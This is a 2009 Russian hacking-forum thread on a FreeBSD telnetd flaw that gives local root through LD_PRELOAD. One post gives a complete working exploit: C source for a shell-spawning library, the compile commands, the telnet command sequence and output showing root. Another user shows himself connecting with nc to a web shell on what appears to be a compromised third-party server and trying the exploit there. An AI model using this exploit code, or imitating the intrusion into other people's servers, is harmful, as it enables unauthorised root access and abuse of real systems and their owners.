Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   *nix (https://forum.antichat.xyz/forumdisplay.php?f=43)
-   -   Получение root привилегий через telnetd демон во FreeBSD (https://forum.antichat.xyz/showthread.php?t=106467)

betakley 16.02.2009 13:02

Получение root привилегий через telnetd демон во FreeBSD
 
Инфомация взята с opennet.ru
Первоисточник: http://lists.grok.org.uk/pipermail/full-disclosure/2009-February/067954.html

Цитата:

В telnetd демоне, входящем в состав FreeBSD 7.x, обнаружена критическая уязвимость, позволяющая локальному злоумышленнику получить привилегии суперпользователя в системе. Предположительно проблеме подвержены OpenBSD, NetBSD и другие системы. Эксплоит настолько прост, что вначале даже не верится, что он может работать. Уязвимость связана ненадлежащей чисткой переменных окружения перед вызовом /bin/login из telnetd (отсутствует чистка переменной окружения LD_PRELOAD, которую можно передать со стороны клиента, так как telnet протокол поддерживает передачу переменных окружения). Суть метода в подключении, через LD_PRELOAD простейшей библиотеки, запускающей /bin/sh в процедуре инициализации. Библиотека должна находиться на атакуемом хосте. При этом в момент подключения к локальному telnetd серверу, злоумышленник без аутентификации получает root shell. Теоретически на основе данной проблемы можно реализовать и сценарий удаленной атаки (например, библиотека может быть загружена через анонимный FTP). Исправления уязвимости в настоящий момент не доступны, рекомендуется отключить telnet сервис, если он используется.
сейчас под рукой нет bsd-системы, как с работы вернусь обязательно проверю. пробуем, отписываем, на каких ОС и версиях прокатило ;)

BuG_4F 16.02.2009 14:39

Забавно :)
Опишешь, через что использовать эксполит ?

Aag 17.02.2009 00:54

Уязвимость чисто теоретическая, с тех пор как изобрели ssh, только самоубийцы будут держать на своих серверах демон telnetd. Уже лет 10 как telnetd никто не использует.

betakley 17.02.2009 03:03

Цитата:

Сообщение от BuG_4F
Забавно :)
Опишешь, через что использовать эксполит ?

Во FreeBSD 6.2 пробовал - не прокатило :mad:
зато в 7.0 на ура :)
делал все как написано в источнике:

1. создаем файл hack.c
Код:

#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
        FILE *f;
        setenv("LD_PRELOAD", "", 1);
        system("echo HACKED!!!;/bin/sh");
}

2. компилим
Код:

gcc -o hack.o -c hack.c -fPIC
gcc -shared -Wl,-soname,lib.so.1 -o lib.so.1.0 hack.o -nostartfiles

3. перемещаем например сюда
Код:

mv lib.so.1.0 /tmp
4. проверяем текущего юзера
Код:

$id
uid=1001(betakley) gid=1001(betakley) groups=1001(betakley),0(wheel)

5. набираем команду telnet и вводим
Код:

auth disable SRA
environ define LD_PRELOAD /tmp/lib.so.1.0
open localhost

6. получаем
Код:

Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.

FreeBSD/i386 (test) (ttyp1)

HACKED!!!

7. проверяем
Код:

# id
uid=0(root) gid=0(wheel) groups=0(wheel),5(operator)
# uname -a
FreeBSD test 7.0-RELEASE FreeBSD 7.0-RELEASE #0: Sun Feb 24 19:59:52 UTC 2008    root@logan.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC  i386
#

:)

.acme 17.02.2009 08:37

http://lists.grok.org.uk/pipermail/full-disclosure/2009-February/067960.html

tmp 18.02.2009 01:22

блин, на
FreeBSD 4.7-RELEASE-p28 не катит :(
-------------------------
nc big***.***.net 11***
Password:***
welcome to r57 shell
Warning: no access to tty (Bad file descriptor).
Thus no job control in this shell.
big**** /usr/local/phpMyAdmin-2.10.0.2-all-languages> telnet
auth disable SRA
environ define LD_PRELOAD /tmp/libGLo.so.1.0
open localhost
telnet> telnet> telnet> Trying ::1...
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.

FreeBSD/i386 (big***.r***.net) (ttyp1)

login:
--------------------------------------------------
Уже почти неделю с этим сервером мучаюсь :(

Hirurgi 27.02.2009 01:52

В 7.0 переписали код так что теперь 4.7 в отношении телнета более безопасно. клево блин.


Время: 01:02